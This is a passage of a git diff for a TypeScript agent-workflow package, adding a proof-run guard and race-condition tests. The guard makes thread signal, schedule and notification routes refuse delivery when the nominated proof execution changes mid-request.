+ suspendedPaths: {}, + }), + '2026-09-07T00:00:00Z', + '2026-09-07T00:00:00Z', + ); + write(); + await fence.seed('migration-locked'); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'proof', + }); + sqlite + .prepare( + 'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?', + ) + .run(runId, 'proof_', workflowId, 'generation'); + vi.spyOn(agent, 'getActiveThreadRunId').mockReturnValue(runId); + const send = vi.spyOn(agent, 'sendMessage'); + const saves = vi.spyOn(memory, 'saveMessages'); + expect( + await agent.proofExecutionFor(runner.runtime, threadId, runId), + ).toMatchObject({ + workflowId, + startToken: 'generation', + tablePrefix: 'proof_', + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => agent as unknown as Agent, + resolveResourceId: () => threadId, + contentPolicy: async () => { + source.startToken = 'replacement'; + write(); + return { allowed: true }; + }, + }); + const response = await route( + post('/signal/queue', { contents: 'held content' }), + { + threadId, + principal: humanPrincipal({ id: 'operator', role: 'operator' }), + init: runner, + }, + ); + expect(send).not.toHaveBeenCalled(); + expect(saves).not.toHaveBeenCalled(); + expect(response?.status).toBe(503); + }); +}); diff --git a/packages/flowsafe/src/signals/thread-do-routes.test.ts b/packages/flowsafe/src/signals/thread-do-routes.test.ts index 69ee2fdb..12cc1668 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.test.ts @@ -4188,7 +4188,7 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => { expect(calls).toEqual([]); }); - it('admits proof-only delivery to the nominated run and nothing else', async () => { + it('refuses legacy run-only proof delivery before all signal effects', async () => { // #given — a proof state already bound to 'active-run'. const fence = await fenceAt('migration-locked'); await fence.transition({ @@ -4211,7 +4211,7 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => { post('/signal', { contents: 'hi' }), scopeWith(undefined, fence), ); - expect(admitted?.status).toBe(200); + expect(admitted?.status).toBe(503); // #and — a thread whose active run is NOT the proof run does not. ( @@ -4260,3 +4260,743 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => { }); }); }); + +describe('FS8 D3 proof activation signal boundaries', () => { + async function modern() { + const sqlite = openSqlite(); + const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const fence = new ExecutionFenceStore(db); + await fence.seed('migration-locked'); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'proof', + }); + sqlite.exec( + "UPDATE flowsafe_execution_fence SET proof_run_id = 'active-run', proof_table_prefix = 'proof_', proof_workflow_id = 'actual-agent-workflow', proof_start_token = 'generation'", + ); + sqlite.exec( + 'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)', + ); + const source = { + version: 2, + startToken: 'generation', + attemptToken: 'attempt', + resumeCounts: [], + }; + const write = () => { + sqlite.exec('DELETE FROM proof_mastra_workflow_snapshot'); + sqlite + .prepare( + 'INSERT INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)', + ) + .run( + 'actual-agent-workflow', + 'active-run', + 'acme_res', + JSON.stringify({ + runId: 'active-run', + status: 'suspended', + requestContext: { 'flowsafe.runProvenance': source }, + }), + 'created', + 'updated', + ); + }; + write(); + const mock = mockAgent(); + let active: string | undefined = 'active-run'; + const runtime = { executionFence: fence }; + Object.assign(mock.agent, { + getActiveThreadRunId: () => active, + proofExecutionFor: async ( + expected: unknown, + _thread: string, + runId: string, + ) => { + if (expected !== runtime) throw new Error('runtime mismatch'); + return fence.readCurrentRunExecution({ + tablePrefix: 'proof_', + workflowId: 'actual-agent-workflow', + runId, + }); + }, + }); + const scope = { + ...scopeWith(undefined, fence), + init: { runtime, executionFence: fence }, + } as unknown as ThreadScope; + const replace = () => { + source.startToken = 'replacement'; + write(); + }; + return { + ...mock, + sqlite, + fence, + scope, + replace, + setActive: (value: string | undefined) => { + active = value; + }, + }; + } + + const routes = [ + ['/signal/message', { contents: 'hello', ifIdle: 'persist' }], + ['/signal/queue', { contents: 'hello' }], + ['/signal', { contents: 'hello', ifIdle: 'persist' }], + [ + '/signal/state', + { id: 'state', cacheKey: 'key', contents: 'hello', value: 'one' }, + ], + [ + '/signal/notification', + { source: 'test', kind: 'update', summary: 'hello' }, + ], + ] as const; + it.each( + routes, + )('preserves the original generation at the final Core boundary %s route', async (path, body) => { + const h = await modern(); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + contentPolicy: async () => { + h.replace(); + return { allowed: true }; + }, + }); + const response = await route(post(path, body), h.scope); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + function activeIdRace(h: Awaited>) { + let armed = false; + const read = h.fence.readCurrentRunExecution.bind(h.fence); + const raced: Awaited>[] = []; + const proofRead = vi + .spyOn(h.fence, 'readCurrentRunExecution') + .mockImplementation(async (address) => { + const execution = await read(address); + if (armed) { + armed = false; + h.setActive('other'); + raced.push(execution); + } + return execution; + }); + return { + arm: () => { + armed = true; + }, + raced, + proofRead, + }; + } + + const originalProof = { + tablePrefix: 'proof_', + workflowId: 'actual-agent-workflow', + runId: 'active-run', + startToken: 'generation', + }; + + it.each( + routes, + )('refuses an active ID changed during the final proof read at %s route', async (path, body) => { + const h = await modern(); + const race = activeIdRace(h); + let policyCalls = 0; + const contentPolicy = vi.fn(async () => { + policyCalls++; + if (path === '/signal/notification' && policyCalls === 2) race.arm(); + return { allowed: true as const }; + }); + const getMemory = h.agent.getMemory.bind(h.agent); + const memory = vi + .spyOn(h.agent, 'getMemory') + .mockImplementation(async () => { + const available = await getMemory(); + race.arm(); + return available; + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + contentPolicy, + }); + const response = await route(post(path, body), h.scope); + expect(h.calls).toEqual([]); + expect(race.raced).toEqual([originalProof]); + expect(race.proofRead).toHaveBeenCalledTimes(2); + expect(contentPolicy).toHaveBeenCalledTimes( + path === '/signal/notification' ? 2 : 1, + ); + expect(memory).toHaveBeenCalledTimes( + path === '/signal/notification' ? 0 : 1, + ); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + it('refuses an active ID changed during the final proof read at active-only signal', async () => { + const h = await modern(); + const race = activeIdRace(h); + const contentPolicy = vi.fn(async () => { + race.arm(); + return { allowed: true as const }; + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + contentPolicy, + }); + const response = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(race.raced).toEqual([originalProof]); + expect(race.proofRead).toHaveBeenCalledTimes(2); + expect(contentPolicy).toHaveBeenCalledTimes(1); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + it('refuses an active ID changed during the final proof read at schedule Core', async () => { + const h = await modern(); + const race = activeIdRace(h); + const begin = vi.fn(async () => ({ state: 'ready' as const })); + const settle = vi.fn(async () => undefined); + const contentPolicy = vi.fn(async () => { + race.arm(); + return { allowed: true as const }; + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveScheduleTarget: async () => + scheduleTarget({ + resourceId: 'acme_res', + ifIdle: { behavior: 'persist' }, + }), + resolveScheduleDispatchStore: () => ({ begin, settle }), + contentPolicy, + }); + const response = await route( + post('/signal/schedule', { + scheduleId: 'schedule_1', + dispatchId: 'dispatch_1', + runId: 'run_1', + }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(begin).toHaveBeenCalledExactlyOnceWith('schedule_1', 'dispatch_1'); + expect(settle).not.toHaveBeenCalled(); + expect(race.raced).toEqual([originalProof]); + expect(race.proofRead).toHaveBeenCalledTimes(3); + expect(contentPolicy).toHaveBeenCalledTimes(1); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + it('refuses an active ID changed during the final proof read at notification persistence', async () => { + const h = await modern(); + const race = activeIdRace(h); + const storage = new InMemoryNotificationsStorage(); + const create = vi.spyOn(storage, 'createNotification'); + const update = vi.spyOn(storage, 'updateNotification'); + const record = await storage.createNotification({ + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source: 'test', + kind: 'update', + summary: 'hello', + priority: 'low', + deliverAt: new Date(0), + summaryAt: new Date(0), + }); + const before = await storage.getNotification({ + threadId: 'acme_t1', + id: record.id, + }); + const getMemory = h.agent.getMemory.bind(h.agent); + const memory = vi + .spyOn(h.agent, 'getMemory') + .mockImplementation(async () => { + const available = await getMemory(); + race.arm(); + return available; + }); + const contentPolicy = vi.fn(async () => ({ allowed: true as const })); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + contentPolicy, + }); + const response = await route( + post('/signal/notifications/dispatch', { + agentId: 'agent', + resourceId: 'acme_res', + notificationIds: [record.id], + }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect( + await storage.getNotification({ threadId: 'acme_t1', id: record.id }), + ).toEqual(before); + expect(create).toHaveBeenCalledTimes(1); + expect(update).not.toHaveBeenCalled(); + expect(race.raced).toEqual([originalProof]); + expect(race.proofRead).toHaveBeenCalledTimes(2); + expect(memory).toHaveBeenCalledTimes(1); + expect(contentPolicy).toHaveBeenCalledTimes(1); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + it('refuses an active ID changed during the final proof read at wake delivery', async () => { + const h = await modern(); + const race = activeIdRace(h); + const getMemory = h.agent.getMemory.bind(h.agent); + const memory = vi + .spyOn(h.agent, 'getMemory') + .mockImplementation(async () => { + const available = await getMemory(); + race.arm(); + return available; + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + serializeDispatch: async (_scope, operation) => operation(), + }); + const response = await route( + post('/signal/message', { contents: 'hello', ifIdle: 'wake' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(race.raced).toEqual([originalProof]); + expect(race.proofRead).toHaveBeenCalledTimes(3); + expect(memory).toHaveBeenCalledTimes(1); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + }); + + it.each([ + 'serialized-selection', + 'memory', + 'active-id', + ] as const)('preserves wake generation through %s before delivering', async (boundary) => { + const h = await modern(); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + serializeDispatch: async (_scope, operation) => operation(), + resolveBlockingRun: + boundary === 'serialized-selection' + ? async () => { + h.replace(); + return undefined; + } + : undefined, + }); + if (boundary !== 'serialized-selection') + Object.assign(h.agent, { + getMemory: async () => { + if (boundary === 'memory') h.replace(); + else h.setActive('other'); + return {}; + }, + }); + const response = await route( + post('/signal/message', { contents: 'hello', ifIdle: 'wake' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it('admits current proof delivery and refuses an idle thread at the all-route gate', async () => { + const h = await modern(); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + }); + const delivered = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(h.calls).toHaveLength(1); + expect(delivered?.status).toBe(200); + h.calls.length = 0; + h.setActive(undefined); + const refused = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(refused?.status).toBe(503); + }); + + it.each([ + 'brand', + 'method', + 'runtime-fence', + ] as const)('requires trusted wrapper %s at the all-route gate', async (missing) => { + const h = await modern(); + if (missing === 'brand') + delete (h.agent as unknown as Record)[ + RUNTIME_DRIVEN_AGENT + ]; + if (missing === 'method') + delete (h.agent as unknown as { proofExecutionFor?: unknown }) + .proofExecutionFor; + if (missing === 'runtime-fence') + Object.assign(h.scope.init.runtime, { executionFence: 'none' }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + }); + const response = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it.each([ + 'begin', + 'recovered-receipt', + 'blocked-receipt', + 'discard-receipt', + 'core', + ] as const)('preserves schedule effects at the final %s boundary', async (boundary) => { + const h = await modern(); + const begin = vi.fn(async () => ({ state: 'ready' as const })); + const settle = vi.fn(async () => undefined); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveScheduleTarget: async () => + scheduleTarget({ + resourceId: 'acme_res', + ifIdle: { behavior: 'persist' }, + }), + resolveScheduleDispatchStore: async () => { + if (boundary === 'begin') h.replace(); + return { begin, settle }; + }, + resolveScheduleRunStatus: + boundary === 'recovered-receipt' + ? async () => { + h.replace(); + return { runId: 'active-run', status: 'success' }; + } + : undefined, + serializeDispatch: async (_scope, operation) => operation(), + resolveBlockingRun: + boundary === 'blocked-receipt' + ? async () => { + h.replace(); + return { + runId: 'active-run', + principal: { kind: 'human', id: 'other', role: 'operator' }, + }; + } + : undefined, + contentPolicy: + boundary === 'discard-receipt' || boundary === 'core' + ? async () => { + h.replace(); + return boundary === 'discard-receipt' + ? { allowed: false, outcome: 'denied' } + : { allowed: true }; + } + : undefined, + }); + const response = await route( + post('/signal/schedule', { + scheduleId: 'schedule_1', + dispatchId: 'dispatch_1', + runId: 'run_1', + }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(settle).not.toHaveBeenCalled(); + expect(begin).toHaveBeenCalledTimes(boundary === 'begin' ? 0 : 1); + expect(response?.status).toBe(503); + }); + + it('checks notification storage creation after resolving its store', async () => { + const h = await modern(); + const storage = new InMemoryNotificationsStorage(); + const create = vi.spyOn(storage, 'createNotification'); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + canPersist: () => false, + resolveNotificationsStorage: async () => { + h.replace(); + return storage; + }, + }); + const response = await route( + post('/signal/notification', { + source: 'test', + kind: 'update', + summary: 'hello', + }), + h.scope, + ); + expect(create).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it.each([ + 'denial', + 'failure', + 'persist', + 'wake', + ] as const)('does not mutate notification receipts after a %s proof refusal', async (boundary) => { + const h = await modern(); + const storage = new InMemoryNotificationsStorage(); + const record = await storage.createNotification({ + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source: 'test', + kind: 'update', + summary: 'hello', + priority: boundary === 'persist' ? 'low' : 'urgent', + deliverAt: new Date(0), + summaryAt: boundary === 'persist' ? new Date(0) : undefined, + }); + const before = await storage.getNotification({ + threadId: 'acme_t1', + id: record.id, + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + contentPolicy: async () => { + h.replace(); + return boundary === 'denial' + ? { allowed: false, outcome: 'denied' } + : boundary === 'failure' + ? { allowed: false, outcome: 'error' } + : { allowed: true }; + }, + }); + const response = await route( + post('/signal/notifications/dispatch', { + agentId: 'agent', + resourceId: 'acme_res', + notificationIds: [record.id], + }), + h.scope, + ); + expect( + await storage.getNotification({ threadId: 'acme_t1', id: record.id }), + ).toEqual(before); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + it('refuses a foreign initial proof generation before content-policy effects', async () => { + const h = await modern(); + h.replace(); + const contentPolicy = vi.fn(async () => ({ allowed: true as const })); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + contentPolicy, + }); + const response = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(contentPolicy).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it('refuses a serialized wake replacement before resolving memory', async () => { + const h = await modern(); + const memory = vi.spyOn(h.agent, 'getMemory'); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + serializeDispatch: async (_scope, operation) => operation(), + resolveBlockingRun: async () => { + h.replace(); + return undefined; + }, + }); + const response = await route( + post('/signal', { contents: 'hello', ifIdle: 'wake' }), + h.scope, + ); + expect(memory).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it('checks the active-only signal Core boundary after content inspection', async () => { + const h = await modern(); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + contentPolicy: async () => { + h.replace(); + return { allowed: true }; + }, + }); + const response = await route( + post('/signal', { contents: 'hello' }), + h.scope, + ); + expect(h.calls).toEqual([]); + expect(response?.status).toBe(503); + }); + + it('checks a retained completed schedule receipt after its store await', async () => { + const h = await modern(); + let second = false; + const settle = vi.fn(async () => { + if (!second) throw new Error('receipt transport failed'); + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveScheduleTarget: async () => + scheduleTarget({ + resourceId: 'acme_res', + ifIdle: { behavior: 'persist' }, + }), + resolveScheduleDispatchStore: async () => { + if (second) h.replace(); + return { begin: async () => ({ state: 'ready' as const }), settle }; + }, + }); + const body = { + scheduleId: 'schedule_1', + dispatchId: 'dispatch_1', + runId: 'run_1', + }; + const first = await route(post('/signal/schedule', body), h.scope); + expect(h.calls).toHaveLength(1); + expect(first?.status).toBe(502); + second = true; + const response = await route(post('/signal/schedule', body), h.scope); + expect(h.calls).toHaveLength(1); + expect(settle).toHaveBeenCalledTimes(1); + expect(response?.status).toBe(503); + }); + + it('preserves the completed Core effect but refuses a changed final schedule receipt', async () => { + const h = await modern(); + const send = h.agent.sendSignal.bind(h.agent); + Object.assign(h.agent, { + sendSignal: (...args: Parameters) => { + const result = send(...args); + h.replace(); + return result; + }, + }); + const settle = vi.fn(async () => undefined); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveScheduleTarget: async () => + scheduleTarget({ + resourceId: 'acme_res', + ifIdle: { behavior: 'persist' }, + }), + resolveScheduleDispatchStore: () => ({ + begin: async () => ({ state: 'ready' as const }), + settle, + }), + }); + const response = await route( + post('/signal/schedule', { + scheduleId: 'schedule_1', + dispatchId: 'dispatch_1', + runId: 'run_1', + }), + h.scope, + ); + expect(h.calls).toHaveLength(1); + expect(settle).not.toHaveBeenCalled(); + expect(response?.status).toBe(503); + }); + + it.each([ + 'individual', + 'summary', + ] as const)('does not convert a final %s notification delivery receipt refusal into failure bookkeeping', async (mode) => { + const h = await modern(); + const storage = new InMemoryNotificationsStorage(); + const record = await storage.createNotification({ + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source: 'test', + kind: 'update', + summary: 'hello', + priority: mode === 'summary' ? 'low' : 'urgent', + summaryAt: mode === 'summary' ? new Date(0) : undefined, + deliverAt: new Date(0), + }); + const before = await storage.getNotification({ + threadId: 'acme_t1', + id: record.id, + }); + const send = h.agent.sendSignal.bind(h.agent); + Object.assign(h.agent, { + sendSignal: (...args: Parameters) => { + const result = send(...args); + h.replace(); + return result; + }, + }); + const route = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + }); + const response = await route( + post('/signal/notifications/dispatch', { + agentId: 'agent', + resourceId: 'acme_res', + notificationIds: [record.id], + }), + h.scope, + ); + expect( + await storage.getNotification({ threadId: 'acme_t1', id: record.id }), + ).toEqual(before); + expect(h.calls).toHaveLength(1); + expect(response?.status).toBe(503); + }); +}); diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index c4d0f9de..6e101403 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -58,7 +58,9 @@ import { } from '../approval-api/index.js'; import { admitsExistingRun, + type D1RunExecutionIdentity, DoStatusError, + ExecutionFencedError, type ExecutionFenceReading, executionFencedResponse, isExecutionFenceRefusal, @@ -619,15 +621,64 @@ export function createThreadSignalRoutes( // the lanes that never reach it (the persist routes, and a default // non-wake delivery) ungated; handleWake keeps its own check for the // wake path it owns. + let proof: SignalProofGuard | undefined; if (executionFence.state === 'proof-only') { - const activeRunId = activeThreadRunIdOf( - agent, - threadId, - resourceId ?? '', + const runtime = scope.init.runtime; + const reader = ( + agent as Agent & { + proofExecutionFor?: ( + runtime: typeof scope.init.runtime, + threadId: string, + runId: string, + ) => Promise; + } + ).proofExecutionFor; + if ( + !runtimeDriven || + typeof reader !== 'function' || + runtime.executionFence !== scope.init.executionFence + ) + throw new ExecutionFencedError(executionFence.state, entryPath); + const capture = async (runId: string | undefined) => { + if (runId === undefined) + throw new ExecutionFencedError(executionFence.state, entryPath); + const execution = await Reflect.apply(reader, agent, [ + runtime, + threadId, + runId, + ]); + if ( + execution === undefined || + !admitsExistingRun(executionFence, execution) + ) + throw new ExecutionFencedError(executionFence.state, entryPath); + return Object.freeze({ ...execution }); + }; + const admitted = await capture( + activeThreadRunIdOf(agent, threadId, resourceId ?? ''), ); - if (!admitsExistingRun(executionFence, activeRunId)) { - return executionFencedResponse(executionFence.state, entryPath); - } + const assertActive = (expected = admitted) => { + if ( + activeThreadRunIdOf(agent, threadId, resourceId ?? '') !== + expected.runId + ) + throw new ExecutionFencedError(executionFence.state, entryPath); + }; + proof = { + capture, + async check(expected = admitted) { + const current = await capture(expected.runId); + if ( + !admitsExistingRun( + { state: 'proof-only', proofExecution: expected }, + current, + ) + ) + throw new ExecutionFencedError(executionFence.state, entryPath); + }, + assertActive, + }; + assertActive(); } let memoryResolution: Promise | undefined; const memoryAvailable: MemoryAvailable = () => { @@ -703,6 +754,7 @@ export function createThreadSignalRoutes( persistenceAllowed, memoryAvailable, inspectContent, + proof, executionFence, }, ); @@ -716,6 +768,7 @@ export function createThreadSignalRoutes( persistenceAllowed, memoryAvailable, inspectContent, + proof, }); } // POST /signal — a system signal (ifActive/ifIdle deliver/persist/discard/wake). @@ -737,6 +790,7 @@ export function createThreadSignalRoutes( persistenceAllowed, memoryAvailable, inspectContent, + proof, executionFence, }, ); @@ -773,6 +827,7 @@ export function createThreadSignalRoutes( store: await resolveScheduleDispatchStore(scope), completed: completedScheduleDispatches, inspectContent, + proof, }); } // POST /signal/state — a durable thread-state lane (snapshot/delta). @@ -784,6 +839,7 @@ export function createThreadSignalRoutes( runtimeDriven, memoryAvailable, inspectContent, + proof, }); } if (requestedAgentId !== undefined) { @@ -813,6 +869,7 @@ export function createThreadSignalRoutes( storage: await resolveNotificationsStorage(scope), agentId: requestedAgentId, inspectContent, + proof, }), ); } @@ -827,7 +884,7 @@ export function createThreadSignalRoutes( resolveNotificationsStorage ? () => resolveNotificationsStorage(scope) : undefined, - { persistenceAllowed, runtimeDriven, inspectContent }, + { persistenceAllowed, runtimeDriven, inspectContent, proof }, ), ); } @@ -873,6 +930,12 @@ export function createThreadSignalRoutes( }; } +interface SignalProofGuard { + capture(runId: string | undefined): Promise; + check(execution?: D1RunExecutionIdentity): Promise; + assertActive(execution?: D1RunExecutionIdentity): void; +} + async function handleNotificationDispatch(options: { agent: Agent; body: Record; @@ -891,6 +954,7 @@ async function handleNotificationDispatch(options: { storage: NotificationsStorage; agentId: string; inspectContent?: InspectSignalContent; + proof?: SignalProofGuard; /** The ONE fence reading this request took — see handleWake. */ executionFence: ExecutionFenceReading; }): Promise { @@ -997,11 +1061,16 @@ async function handleNotificationDispatch(options: { // content-policy reason overwritten by an unrelated storage error. const settledDiscards = new Set(); const updateFailure = async (record: NotificationRecord, error: unknown) => { + if (isExecutionFenceRefusal(error)) throw error; if (settledDiscards.has(record.id)) return; + await options.proof?.check(); + options.proof?.assertActive(); failed += 1; await deferNotificationAfterFailure(options.storage, record, now, error); }; const discardAfterDenial = async (record: NotificationRecord) => { + await options.proof?.check(); + options.proof?.assertActive(); await options.storage.updateNotification({ id: record.id, threadId: record.threadId, @@ -1038,6 +1107,7 @@ async function handleNotificationDispatch(options: { startIdleRun: options.startIdleRun, serializeWake: options.serializeWake, executionFence: options.executionFence, + proof: options.proof, blockingRun: durableBlockingRun ? () => durableBlockingRun : options.blockingRun, @@ -1064,8 +1134,11 @@ async function handleNotificationDispatch(options: { ifIdle: { behavior: 'persist' }, }), }); - if (!response.ok) + if (!response.ok) { + if (options.executionFence.state === 'proof-only') + throw new ExecutionFencedError('proof-only', 'notification signal'); throw new Error(`notification signal returned ${response.status}`); + } const result = (await response.json()) as { signalId?: string; decision?: unknown; @@ -1092,6 +1165,8 @@ async function handleNotificationDispatch(options: { if (!(await options.memoryAvailable())) { throw new Error('signal persistence requires agent memory'); } + await options.proof?.check(); + options.proof?.assertActive(); const result = options.agent.sendSignal(signal, { threadId: options.threadId, resourceId, @@ -1135,6 +1210,8 @@ async function handleNotificationDispatch(options: { ? await persistWithoutWake(signal) : await send(signal); for (const record of item.records) { + await options.proof?.check(); + options.proof?.assertActive(); await options.storage.updateNotification({ id: record.id, threadId: record.threadId, @@ -1196,6 +1273,8 @@ async function handleNotificationDispatch(options: { continue; } const signalId = await send(signal); + await options.proof?.check(); + options.proof?.assertActive(); await options.storage.updateNotification({ id: record.id, threadId: record.threadId, @@ -1357,6 +1436,7 @@ async function handleWake(options: { * exactly what proof-only admits by. */ executionFence: ExecutionFenceReading; + proof?: SignalProofGuard; deliverActive(runId: string, memoryAvailable: boolean): WakeDelivery; persist(): WakeDelivery; }): Promise { @@ -1378,9 +1458,12 @@ async function handleWake(options: { // what the drain is waiting for — and in proof-only it is admitted only // for the nominated run. The check sits after the principal gate so a // fenced deployment leaks nothing a permitted caller could not see. - if (activeRunId && !admitsExistingRun(fence, activeRunId)) { - return executionFencedResponse(fence.state, 'signal delivery'); - } + const admitted = + fence.state === 'proof-only' + ? await options.proof?.capture(activeRunId) + : undefined; + if (fence.state === 'proof-only' && admitted === undefined) + throw new ExecutionFencedError(fence.state, 'signal delivery'); if (activeRunId) { if (durableBlockingRun && durableBlockingRun.runId !== activeRunId) { return json({ @@ -1393,6 +1476,8 @@ async function handleWake(options: { }); } const memoryAvailable = await options.memoryAvailable(); + await options.proof?.check(admitted); + options.proof?.assertActive(admitted); const delivered = options.deliverActive(activeRunId, memoryAvailable); const decision = await delivered.accepted; if (delivered.persisted) await delivered.persisted; @@ -1595,6 +1680,7 @@ async function handleScheduleSignal(options: { store: ScheduleSignalDispatchStore; completed: Map; inspectContent?: InspectSignalContent; + proof?: SignalProofGuard; /** The ONE fence reading this request took — see handleWake. */ executionFence: ExecutionFenceReading; }): Promise { @@ -1625,6 +1711,8 @@ async function handleScheduleSignal(options: { const receipt = createScheduleAgentDispatchReceipt('discard', { signalId: dispatchId, }); + await options.proof?.check(); + options.proof?.assertActive(); options.completed.set(dispatchId, receipt); await options.store.settle(scheduleId, dispatchId, receipt); options.completed.delete(dispatchId); @@ -1633,10 +1721,14 @@ async function handleScheduleSignal(options: { const completed = options.completed.get(dispatchId); if (completed) { + await options.proof?.check(); + options.proof?.assertActive(); await options.store.settle(scheduleId, dispatchId, completed); options.completed.delete(dispatchId); return json({ receipt: completed }); } + await options.proof?.check(); + options.proof?.assertActive(); const state = await options.store.begin(scheduleId, dispatchId); if (state.state === 'missing') { return json({ error: 'schedule dispatch not found' }, 404); @@ -1660,6 +1752,8 @@ async function handleScheduleSignal(options: { runId: recoveredRun.runId, signalId: dispatchId, }; + await options.proof?.check(); + options.proof?.assertActive(); options.completed.set(dispatchId, receipt); await options.store.settle(scheduleId, dispatchId, receipt); options.completed.delete(dispatchId); @@ -1677,6 +1771,8 @@ async function handleScheduleSignal(options: { runId: durableBlockingRun.runId, signalId: dispatchId, }; + await options.proof?.check(); + options.proof?.assertActive(); options.completed.set(dispatchId, receipt); await options.store.settle(scheduleId, dispatchId, receipt); options.completed.delete(dispatchId); @@ -1845,6 +1941,7 @@ async function handleScheduleSignal(options: { startIdleRun: options.startIdleRun, serializeWake: options.serializeWake, executionFence: options.executionFence, + proof: options.proof, blockingRun: durableBlockingRun ? () => durableBlockingRun : options.blockingRun, @@ -1881,6 +1978,8 @@ async function handleScheduleSignal(options: { signalId = typeof payload.signalId === 'string' ? payload.signalId : undefined; } else { + await options.proof?.check(); + options.proof?.assertActive(); const sent = options.agent.sendSignal(deliverableSignal, signalTarget); decision = await sent.accepted; const action = recordValue(decision)?.action; @@ -1899,6 +1998,8 @@ async function handleScheduleSignal(options: { if (!receipt) { throw new Error('agent schedule returned an invalid signal decision'); } + await options.proof?.check(); + options.proof?.assertActive(); options.completed.set(dispatchId, receipt); await options.store.settle(scheduleId, dispatchId, receipt); options.completed.delete(dispatchId); @@ -1934,6 +2035,7 @@ async function handleMessage( persistenceAllowed: boolean; memoryAvailable: MemoryAvailable; inspectContent: InspectSignalContent | undefined; + proof?: SignalProofGuard; /** The ONE fence reading this request took — see handleWake. */ executionFence: ExecutionFenceReading; }, @@ -1986,6 +2088,7 @@ async function handleMessage( startIdleRun, serializeWake, executionFence: options.executionFence, + proof: options.proof, blockingRun: durableBlockingRun ? () => durableBlockingRun : options.blockingRun, @@ -2019,6 +2122,8 @@ async function handleMessage( return persistenceForbiddenResponse({ capped: false }); } const memoryAvailable = await options.memoryAvailable(); + await options.proof?.check(); + options.proof?.assertActive(); const result = agent.sendMessage(message, 